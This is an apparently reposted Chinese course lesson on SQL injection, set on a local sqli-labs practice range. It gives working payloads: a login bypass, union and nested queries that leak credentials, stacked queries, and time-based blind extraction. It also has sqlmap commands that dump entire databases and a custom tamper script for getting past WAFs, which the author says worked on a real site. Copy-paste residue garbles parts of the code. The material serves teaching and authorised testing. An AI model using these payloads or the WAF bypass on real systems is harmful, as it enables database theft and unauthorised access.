当前位置:   article > 正文

网络安全课第三节 SQL 注入的检测与防御

网络安全课第三节 SQL 注入的检测与防御

06 SQL 注入:小心数据库被拖走(上)

我们现在来到了 SQL 注入的学习,这里我会主要介绍 SQL 注入漏洞的产生原理、利用、检测和防御。相信学完后,你就知道:

  • 为什么 'or'1'='1 是个万能密码;

  • 攻击者会如何进一步利用漏洞发动攻击窃取数据库;

  • 开发如何检测和防御 SQL 注入漏洞。

这一讲,我主要讲解 SQL 注入与数据库拖库问题。

十几年前,我在网上偶然间看到一篇文章,号称有可登录任意网站管理后台的万能密码,只要在用户名和密码中均输入 'or'1'='1(注意单引号的使用)即可登录后台。当时感觉特别神奇,也有点质疑,于是,我通过 Google 搜索了几个网站后台,没想到有一个真的登录进去了,还可以直接修改主页内容。我没有动,给管理员留言后就退出了。

后来,从网友那得知有个叫“明小子”的工具,专门用于检测和利用 SQL 注入漏洞,使用起来非常“傻瓜”。如果你很早接触过安全,相信对下面的界面图再熟悉不过了。这是我第一次听说“SQL 注入”这个词,知道了它属于 Web 漏洞中非常常见的一种漏洞。

Drawing 0.png

图 1:“明小子”工具

目前 PHP + MySQL + Linux 一直是网站搭建的主流环境,我们也是在此环境下演示的。其他数据库系统不再介绍,你可自行搜索相关资料拓展学习。同时,为了简化环境搭建的工作,推荐使用 Docker 安装 sqli-labs 作为靶场来实践,具体安装方法可参考《03 | 靶场:搭建漏洞练习环境》中的内容。

SQL 注入产生的原因

以 sqli-labs 第 11 题为例,该题模拟后台登录页面,其 Username 与 Password 均存在 SQL 注入漏洞。该题的 PHP 源码可直接点击 Github 链接查看,也可以进 Docker 容器内查看。

为方便理解,我把 PHP 源码贴出来,并加上了注释:

<?php
	//including the Mysql connect parameters.
	include("../sql-connections/sql-connect.php");
	error_reporting(0);
  • 1
  • 2
  • 3
  • 4
<span class="hljs-comment">// take the variables</span>
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'uname'</span>]) &amp;&amp; <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'passwd'</span>]))
{
	$uname=$_POST[<span class="hljs-string">'uname'</span>];    <span class="hljs-comment">// 用户输入的用户名</span>
	$passwd=$_POST[<span class="hljs-string">'passwd'</span>];  <span class="hljs-comment">// 用户输入的密码</span>
	<span class="hljs-comment">//logging the connection parameters to a file for analysis.</span>
	$fp=fopen(<span class="hljs-string">'result.txt'</span>,<span class="hljs-string">'a'</span>);
	fwrite($fp,<span class="hljs-string">'User Name:'</span>.$uname);
	fwrite($fp,<span class="hljs-string">'Password:'</span>.$passwd.<span class="hljs-string">"\n"</span>);
	fclose($fp);

	<span class="hljs-comment">// connectivity </span>
    <span class="hljs-comment">// 未经过滤,直接将用户输入带入 SQL 语句进行查询,最终导致 SQL 注入</span>
	@$sql=<span class="hljs-string">"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"</span>;
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	<span class="hljs-keyword">if</span>($row)
	{
        <span class="hljs-comment">// 查询到数据就登录成功</span>
  		<span class="hljs-comment">//echo '&lt;font color= "#0000ff"&gt;';			</span>
  		<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;br&gt;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4

“;
echo ‘<font color= “#FFFF00” font size = 4>’;
//echo " You Have successfully logged in\n\n " ;
echo '<font size=“3” color=”#0000ff">';
echo "<br>

“;
echo ‘Your Login name:’. $row[‘username’];
echo ”<br>

“;
echo ‘Your Password:’ .$row[‘password’];
echo ”<br>

“;
echo ”</font>“;
echo ”<br>

“;
echo ”<br>

“;
echo '<img src=”…/images/flag.jpg" />';

  		<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;/font&gt;"</span>;
  	}
	<span class="hljs-keyword">else</span>
	{
        <span class="hljs-comment">// 登录失败</span>
		<span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;font color= "#0000ff" font size="3"&gt;'</span>;
		<span class="hljs-comment">//echo "Try again looser";</span>
		print_r(mysql_error());
		<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;/br&gt;"</span>;
		<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;/br&gt;"</span>;
		<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;/br&gt;"</span>;
		<span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;img src="../images/slap.jpg" /&gt;'</span>;	
		<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;/font&gt;"</span>;
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

?>

可以看到,用户在登录框输入的用户名及密码未经过滤就直接传入以下 SQL 语句:

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
  • 1
  • 1

如果此时我在 Username 中输入英文单引号,那么 SQL 语句就变成:

SELECT username, password FROM users WHERE username=''' and password='' LIMIT 0,1
  • 1
  • 1

这里 username 没有闭合,会导致语法错误:

You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1。

Drawing 1.png

图 2:username 没有闭合导致的语法错误

还记得开头提到的万能密码吗?我们输入试试:

Drawing 2.png

图 3:输入万能钥匙

成功登录了!那为什么会这样呢?

我们先来看下输入万能密码后,SQL 语句的构成:

SELECT username, password FROM users WHERE username=''or'1'='1' and password=''or'1'='1' LIMIT 0,1
  • 1
  • 1

可以发现 username 和 password 为空或者 '1'='1',而'1'='`'永远为真,SQL 语句必然成立。只要能查询到有效数据就可以登录,或者后面随便回句永远为真的语句就能够绕过验证登录,这就是万能密码存在的原因。

相信看到这里,你对 SQL 注入产生的原因应该有所理解了。简单来讲,就是开发时未对用户的输入数据(可能是 GET 或 POST 参数,也可能是 Cookie、HTTP 头等)进行有效过滤,直接带入 SQL 语句解析,使得原本应为参数数据的内容,却被用来拼接 SQL 语句做解析,也就是说,将数据当代码解析,最终导致 SQL 注入漏洞的产生

关于此类漏洞的防御我会在《09 | CSRF 漏洞:谁改了我的密码?》中介绍。

SQL 注入的分类

我们接着来了解 SQL 注入的分类。根据注入点(比如漏洞参数)的数据类型不同,SQL 注入可以分为两类:数字/整数型注入和字符型注入。

数字/整数型注入

注入的参数为整数时就是数字型注入,或者叫整数型注入。其 SQL 语句原型类似:

SELECT * FROM table WHERE id=1
  • 1
  • 1

此处 id 参数为整数,两边无引号。测试时可以使用 1+1 和 3-1 这种计算结果相同的参数值去构造请示,对比响应结果是否一致,如果相同就可能在数字型注入。

字符型注入

注入参数为字符串时就是字符型注入,其 SQL 语句原型类似:

SELECT * FROM table WHERE name='test'
  • 1
  • 1

此处的 name 为字符串参数,两边包含引号。

其他资料也有给出第 3 种分类:搜索型注入,但我认为它本质上属于字符型注入,只是相对特殊一点,存在于搜索语句中。此类注入常常以 % 为关键字来闭合 SQL 语句。

区分数字型与字符型注入的最简单办法就是看是否存在引号。在有源码的情况下很好判断,若无源码,可以尝试输入单引号看是否报错,同时也可以直接根据输入参数的类型做初步判断。

了解了 SQL 注入的分类后,就可以针对不同的注入类型采取不同的注入测试技术。

SQL 注入测试技术

我认为当前 SQL 注入利用工具中,sqlmap 无疑是王者。它涵盖了 SQL 注入检测、利用、防御绕过、扩展、getshell 等多种功能,功能全面且工程化,是学习研究 SQL 注入绕不开的工具。

如果你查看 sqlmap 的命令帮助信息,可以发现它使用的 SQL 注入技术共有以下 6 种,默认全开,对应的参数值为“BEUSTQ”,如下所示:

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
  • 1
  • 2
  • 3
  • 4
  • 1
  • 2
  • 3
  • 4

BEUSTQ 的参数含义如下:

  • B,Boolean-based blind(布尔型盲注);

  • E,Error-based(报错型注入);

  • U,Union query-based(联合查询注入);

  • S,Stacked queries(多语句堆叠注入);

  • T,Time-based blind(基于时间延迟盲注);

  • Q,Inline queries(内联/嵌套查询注入)。

下面我就重点来讲解这 6 大 SQL 注入技术。

布尔型盲注

布尔(Boolean)就是真假两种结果,比如“1=1”为真,“1=2”为假。

前面列举的 SQL 注入是存在错误显示的,很容易判断 SQL 语句被注入后出错。但是,很多时间并没有错误回显,这时就只能“盲注”。我们可以通过对比真假请求的响应内容来判断是否存在 SQL 注入,这就是布尔型盲注。比如,对比注入参数与“and 1=2”的返回结果,如果两者不同则代表可能存在 SQL 注入。

除了布尔型盲注外,我们还可以采用时间延迟的方式来盲注,我在后面会讲到。

Drawing 3.png

图 4:正常访问的页面

以 sqli-labs 第 8 题为例,上图是正常访问后的网页内容。通过 Get 参数 id 实现 SQL 注入,我们直接用前面讲的单引号注入试试,请求地址为 http://localhost/Less-8/?id=1',返回结果如下:

Drawing 4.png

图 5:单引号注入的返回结果

没有任何错误提示,显示此方法行不通。

下面我们试试布尔型盲注的方法,分别构造以下两个请示,然后对比二者的差异:

  • http://localhost/Less-8/?id=1'and+1=1

  • http://localhost/Less-8/?id=1'and+1=2

其中的 + 号代表空格,执行上述请求后,你会发现返回的页面没有任何变化。难道真没有 SQL 注入吗?

我们来看一下源码:

<?php
	//including the Mysql connect parameters.
	include("../sql-connections/sql-connect.php");
	error_reporting(0);
	// take the variables
	if(isset($_GET['id']))
	{
	  $id=$_GET['id'];
	  //logging the connection parameters to a file for analysis.
	  $fp=fopen('result.txt','a');
	  fwrite($fp,'ID:'.$id."\n");
	  fclose($fp);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  <span class="hljs-comment">// connectivity </span>
  $sql=<span class="hljs-string">"SELECT * FROM users WHERE id='$id' LIMIT 0,1"</span>;
  $result=mysql_query($sql);
   $row = mysql_fetch_array($result);

  <span class="hljs-keyword">if</span>($row)
   {
      <span class="hljs-comment">// 成功</span>
  	  <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;font size="5" color="#FFFF00"&gt;'</span>;	
  	  <span class="hljs-keyword">echo</span> <span class="hljs-string">'You are in...........'</span>;
  	  <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;br&gt;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

“;
echo ”</font>“;
}
else
{
// 失败,关闭错误回显
echo '<font size=“5” color=”#FFFF00">‘;
//echo ‘You are in…’;
//print_r(mysql_error());
//echo “You have an error in your SQL syntax”;
echo “</br></font>”;
echo ’<font color= “#0000ff” font size= 3>';

	}
}
	<span class="hljs-keyword">else</span> { <span class="hljs-keyword">echo</span> <span class="hljs-string">"Please input the ID as parameter with numeric value"</span>;}
  • 1
  • 2
  • 3

?>

重点就在这句 SQL 语句上:

SELECT * FROM users WHERE id='$id' LIMIT 0,1
  • 1
  • 1

注意这里有单引号,所以是字符型注入,我们将前面的测试语句代入:

SELECT * FROM users WHERE id='1'and 1=1' LIMIT 0,1
  • 1
  • 1

此处单引号未得到闭合,导致了语法错误,这正是前面测试方法失败的原因。我们可以考虑用--注释掉。在 URL 请求里要注意在后面加 +,+ 在 URL 中相当于空格,加了 + 才能有效注释。最后我们得到构造语句:

SELECT * FROM users WHERE id='1'and 1=1 -- ' LIMIT 0,1
  • 1
  • 1

为了方便验证 SQL 语句,推荐你直接进入 Docker 容器的 MySQL 进行测试:

$ sudo docker ps
CONTAINER ID        IMAGE                COMMAND             CREATED             STATUS              PORTS                          NAMES
ea6ec615a39e        acgpiano/sqli-labs   "/run.sh"           29 hours ago        Up 29 hours         0.0.0.0:80->80/tcp, 3306/tcp   sqli-labs
$ sudo docker exec -it ea6ec615a39e /bin/bash
$ root@ea6ec615a39e:/# mysql -u root
mysql> use security;
mysql> SELECT * FROM users WHERE id='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and 1=2'' LIMIT 0,1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1
mysql> SELECT * FROM users WHERE id='1' and 1=2-- ' LIMIT 0,1;
Empty set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and 1=1-- ' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42

现在我们按此思路重新构造两个请求。

  • 请求 1:http://localhost/Less-8/?id=1'and+1=1--+

  • 请求 2:http://localhost/Less-8/?id=1'and+1=2--+

Drawing 5.png

图 6:请求 1 展示图

Drawing 6.png

图 7:请求 2 展示图

我们可以看到,两次结果是不一样的,主要体现在有无“You are in...........”字符串,此时我们就可以确认 SQL 注入是存在的。

报错型注入

有错误回显的都可以尝试使用报错型注入方法,在 sqli-labs 第 11 题中介绍的单引号注入方式就是最简单有效的检测方法,它的本质是设法构造出错误的 SQL 语法使其执行错误。

前面列举的都是字符型注入,这次我们聊下整数型的。以 sqli-labs 第 2 题为例,我们重点看下导致注入的语句:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 1
  • 1

$id 参数两边无引号,这是典型的整数型注入。虽然是整数型的,但你使用单引号注入依然会报错,因为语句未得到有效闭合。

既然我们的目标是让 SQL 语法错误,那方法就多了,各种造成语句无法闭合的字符:单引号、双引号、大中小括号等标点符号、特殊符号、宽字符等,还有 SQL 语句中的关键词,比如 IF、SELECT 都可以。

下图是注入中文句号(宽字符)导致的错误:

Drawing 7.png

图 8:宽字符导致的错误

注入关键词 IF 导致的错误:

Drawing 8.png

图 9:注入关键词 IF 导致的错误

拥有错误回显的 SQL 注入应该是最容易发现的,但很多时候并不会有错误回显,这时就需要使用其他盲注方式来验证。

联合查询注入

联合查询是指使用 union 语句来查询,比如:

id =-1 union select 1,2,3
  • 1
  • 1

注意这里 id 的值不存在,目前是为了在页面上显示 union 查询结果

这样的好处就相当于另起一句 SQL 语句,非常适用于获取数据库中一些敏感信息,而不必过多考虑原有 SQL 语句的情况。因此,它在实际的漏洞利用中也经常被使用。联合查询注入也是验证漏洞可利用性的最佳方法之一,但经常需要结合错误回显。

我们仍以 sqli-labs 第 2 题为例,先构造以下请求:

http://localhost/Less-2/?id=0 union select 1
  • 1
  • 1

得到错误提示“The used SELECT statements have a different number of columns”,也就是字段数有误,如下图所示:

Drawing 9.png

图 10:字段数有误

此时我们可以逐渐增加字段数来找到合适字段数:

回显错误:http://localhost/Less-2/?id=0 union select 1,2
正确:http://localhost/Less-2/?id=0 union select 1,2,3
回显错误:http://localhost/Less-2/?id=0 union select 1,2,3,4
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

最后发现它共有 3 个字段,我们看看哪些字段显示出来了:
Drawing 10.png

图 11:字段展示

可以发现 2 和 3 字段显示在页面中,这里我们就可以进一步构造利用以获取数据库名和版本信息:

http://localhost/Less-2/?id=0 union select 1,database(),version()
  • 1
  • 1

最终,我们成功爆出数据库名为 security,版本为 5.5.44-0ubuntu0.14.04.1,如下图所示:

Drawing 11.png

图 12:成功爆出数据库名

多语句堆叠注入

在 SQL 语句中,允许使用分号间隔多个查询语句来执行。mysqli_multi_query() 函数可以通过分号间隔插入多个查询语句实现堆叠注入。以 sqli-labs 第 38 题为例:

<?php
    $id=$_GET['id'];
	......
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	/* execute multi query */
	if (mysqli_multi_query($con1, $sql))
	{
       ......
    }
    ......
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

此处正是使用 mysqli_multi_query 函数实现的多语句查询。我们可以尝试插入另一条语句来创建表:

http://localhost/Less-38?id=1';create table sqli like users;
  • 1
  • 1

执行前的表:

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

执行后,成功创建 sqli 表,说明第二条语句执行成功:

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| sqli               |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
基于时间延迟盲注

基于时间延迟盲注是通过时间延迟来判断是否存在 SQL 注入的常用方法,是用于无任何错误回显情况下的盲注。对于正确语句和错误语句都返回相同内容时也可以使用,所以它的适用范围相对广一些。

注意:在实际测试过程中,特别是线上业务测试,要避免使用过长时间的延时,否则会影响业务的正常运行。换句话说,能够延时注入就基本代表可以去网站进行拒绝服务攻击。

在 MySQL 常用的延时注入方法中,比较实用的有以下 3 种。

(1)SLEEP(duration):该函数用于休眠,起到延时操作的作用,其参数以秒为单位。

mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

(2)BENCHMARK(count,expr):重复计算 expr 表达式 count 次。

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.72 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

(3)REPEAT(str,count):返回字符串 str 重复 count 次后的字符串。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.92 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

我们以 sqli-labs 第 2 题为例构造请求:

http://localhost/Less-2/?id=1 and sleep(5)--+
  • 1
  • 1

在 Chrome 浏览器的 Network 标签内可以看到该请求刚好处时 5 秒钟,说明确实存在漏洞。

Drawing 12.png

图 13:Chrome 标签内展示

内联/嵌套查询注入

使用内联查询来检索数据,本质上是嵌入在另一个查询中的查询,例如:

SELECT (SELECT password from users) from product;
  • 1
  • 1

以 sqli-labs 第 2 题为例,结合前面介绍的联合查询来构造请求:

http://localhost/Less-2/?id=0 union select 1,(SELECT username from users where id=2),(SELECT password from users where id=2)
  • 1
  • 1

通过以上代码我们可以看到 id=2 的用户名和密码,如下图所示:

Drawing 13.png

图 14:内联/嵌套查询注入

内联/嵌套查询注入方法可以在一句语句中嵌入另一句语句,在有限漏洞场景下能实现更多的功能,因此在实际的漏洞利用中常被用于实现敏感信息的窃取,甚至执行系统命令。

总结

这一讲我主要介绍了 SQL 注入的产生原理、分类,以及相关的测试技术。SQL 注入产生的原因是由于开发对用户的输入数据未做有效过滤,直接引用 SQL 语句执行,导致原本的数据被当作 SQL 语句执行。通常来说,SQL 注入分为数字型和字符型注入,我们主要通过注入参数类型来判断。

我还介绍了 6 大 SQL 注入测试技术,这是挖掘和利用 SQL 注入漏洞的基础,只有掌握这些测试技术,才能进一步提升对 SQL 注入的理解与实践能力。

SQL 注入通常被视为高危或严重的漏洞,一些漏洞奖励平台对此的赏金也会很高,尤其是在国外,经常在 5000 美金以上,甚至有的是几万美金。

在学习之后,你也可以尝试去挖一些国内的 SRC 平台或者国外 HackerOne 平台授权的测试网站。如果你有发现什么有趣的 SQL 注入漏洞,欢迎在留言区分享。

(7)盲注猜解字符串

前面的示例都是在有错误回显的情况下,通过 SQL 注入获得我们想要的用户信息,但有时在渗透测试时,网站并没有错误回显,此时就只能去盲注猜解出数据库名、字段名和值等关键信息。盲注猜解字符串的主要方式有布尔型盲注和基于时间延迟盲注,相关的知识我在《06 | SQL 注入:小心数据库被拖走(上)》中介绍过了。

布尔型盲注:
http://localhost/Less-2/?id=1 and ascii(substr((select database()),1,1))>110--+ 判断数据库名的第一个字符的 ascii 值是否大于 110('H')
基于时间延迟盲注:
http://localhost/Less-2/?id=1 union select if(SUBSTRING(password,1,4)='Dumb',sleep(5),1),2,3 from users--+ 提取密码前四个字符做判断,正确就延迟 5 秒,错误返回 1
  • 1
  • 2
  • 3
  • 4
  • 1
  • 2
  • 3
  • 4

自动化利用漏洞

手工注入是个体力活,效率很慢,如果能自动化地利用漏洞,就可以解放双手,省下不少时间。因此,通常我们不会使用手工注入的方式。

下面我就来介绍如何利用 sqlmap 实现 SQL 注入漏洞的自动化利用。

使用 sqlmap 拖库

当前在 SQL 注入漏洞利用工具中,sqlmap 绝对是最常用的,前文也多次提到它,这里我们就尝试使用 sqlmap 实现拖库。

借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。下面我会介绍一些常用的命令参数,通过这些参数,我们能实现注入自动化。具体的流程和手工注入一样,这里就不再赘述了。

(1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs
  • 1

Drawing 11.png

图 12:使用 --dbs 参数获取数据库名称

输出的对应 payload 也是学习各种注入技巧的参考资料,对于渗透测试者、漏洞扫描器、WAF 开发者需要研究的重要资源,有些扫描器干脆直接用 sqlmap,或者把它的所有 payload 扣出来使用。

(2)使用 --current-db 参数获取当前数据库,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --current-db
  • 1

Drawing 12.png

图 13:使用 --current-db 参数获取当前数据库

(3)使用 --tables 参数枚举表名,示例命令如下 :

./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'
  • 1

Drawing 13.png

图 14:使用 --tables 参数枚举表名

(4)使用 --columns 参数枚举字段名,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"
  • 1

Drawing 14.png

图 15:使用 --columns 参数枚举字段名

(5)使用 --dump 参数批量获取字段值,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"
  • 1

Drawing 15.png

图 16:使用 --dump 参数批量获取字段值

(6)使用 --dump-all 参数导出整个数据库

这个方法耗时较长,还有很多无价值信息,但却是最简单的拖库姿势,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all
  • 1
  • 1

上述方法导出的数据文件存放路径会在命令行给出,数据以 csv 文件形式保存到本地:

Ubuntu# pwd
/root/.local/share/sqlmap/output/localhost/dump
Ubuntu# tree
.
├── challenges
│   └── 6EAED22Z6T.csv
├── information_schema
│   ├── CHARACTER_SETS.csv
│   ├── COLLATION_CHARACTER_SET_APPLICABILITY.csv
│   ├── COLLATIONS.csv
│   ├── COLUMN_PRIVILEGES.csv
│   ├── COLUMNS.csv
│   ├── ......
│   ├── SCHEMATA.csv
│   ├── SESSION_STATUS.csv
│   ├── SESSION_VARIABLES.csv
│   ├── STATISTICS.csv
│   ├── USER_PRIVILEGES.csv
│   └── VIEWS.csv
├── mysql
│   ├── help_category.csv
│   ├── help_keyword.csv
│   ├── help_relation.csv
│   ├── help_topic.csv
│   ├── proxies_priv.csv
│   ├── servers.csv
│   └── user.csv
├── performance_schema
│   ├── cond_instances.csv
│   ├── ......
│   └── threads.csv
└── security
    ├── emails.csv
    ├── referers.csv
    ├── uagents.csv
    ├── users.csv
    └── users.csv.1
5 directories, 70 files
Ubuntu# cat /root/.local/share/sqlmap/output/localhost/dump/security/users.csv
id,username,password
1,Dumb,Dumb
2,Angelina,I-kill-you
3,Dummy,p@ssword
4,secure,crappy
5,stupid,stupidity
6,superman,genious
7,batman,mob!le
8,admin,admin
9,admin1,admin1
10,admin2,admin2
11,admin3,admin3
12,dhakkan,dumbo
14,admin4,admin4
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
利用 tamper 绕过 WAF

在云时代网络中,很多部署网站的服务器都会提供 WAF(Web 防火墙)服务。在未部署的情况下,云厂商如果检测到 Web 攻击请求,可能会发短信通知你开启 WAF 服务。之前我在一次渗透测试工作中就是如此:原本未部署 WAF 的网站,在 SQL 注入的过程中,突然就开启 WAF 拦截了。

tamper 正是对 sqlmap 进行扩展的一系列脚本,可在原生 payload 的基础上做进一步的处理以绕过 WAF 拦截。sqlmap 里有个 tamper 目录,里面放着很多脚本,比如编码、字符替换、换行符插入。

我们先来看下 sqlmap 自带的一个最简单的,用于转义单引号的 tamper 脚本:

#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')
    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """
    return payload.replace("'", "\\'").replace('"', '\\"')
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

它主要由 3 个部分组成。

  • priority:代表优先级,当使用多个脚本时可定义执行顺序。

  • dependencies:对依赖环境的声明,比如输出日志,可不写。

  • tamper:主函数。payload 代表 sqlmap 自带的测试语句;kwargs 代表请求参数,可以用来修改 http 头信息。tamper 主要是对原生 payload 做一些替换处理,这是绕过 WAF 的关键点

下面以某知名网站的 SQL 注入为例。常规的注入语句都被拦截了,后来在 fuzz 测试 WAF 时,发现使用一些特殊符号可以绕过 WAF(换行符也经常被用来绕过),而 MySQL 中有些特殊字符又相当于空格:

%01, %02, %03, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f, %10, %11, %12, %13, %14, %15, %16, %17, %18, %19, %1a, %1b, %1c, %1d, %1e, %1f, %20

我们尝试在每个 SQL 关键词中随机加个%1e。测试确认可绕过 WAF 后,接下来就是写 tamper 让 sqlmap 实现自动化绕过 WAF。

import re
from lib.core.common import randomRange
from lib.core.data import kb  # kb 中存放着 sqlmap 的一些配置信息
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
    result = payload
    if payload:
        for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
            word = match.group()
            if len(word) < 2:
                continue
            if word.upper() in kb.keywords:  # 判断是否属于 SQL 关键词
                str = word[0]
                for i in xrange(1, len(word) - 1):
                    str += "%s%s" % ("%1e" if randomRange(0, 1) else "", word[i])
                str += word[-1]
                if "%1e" not in str:
                    index = randomRange(1, len(word) - 1)
                    str = word[:index] + "%1e" + word[index:]
                result = result.replace(word, str)
    return result
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
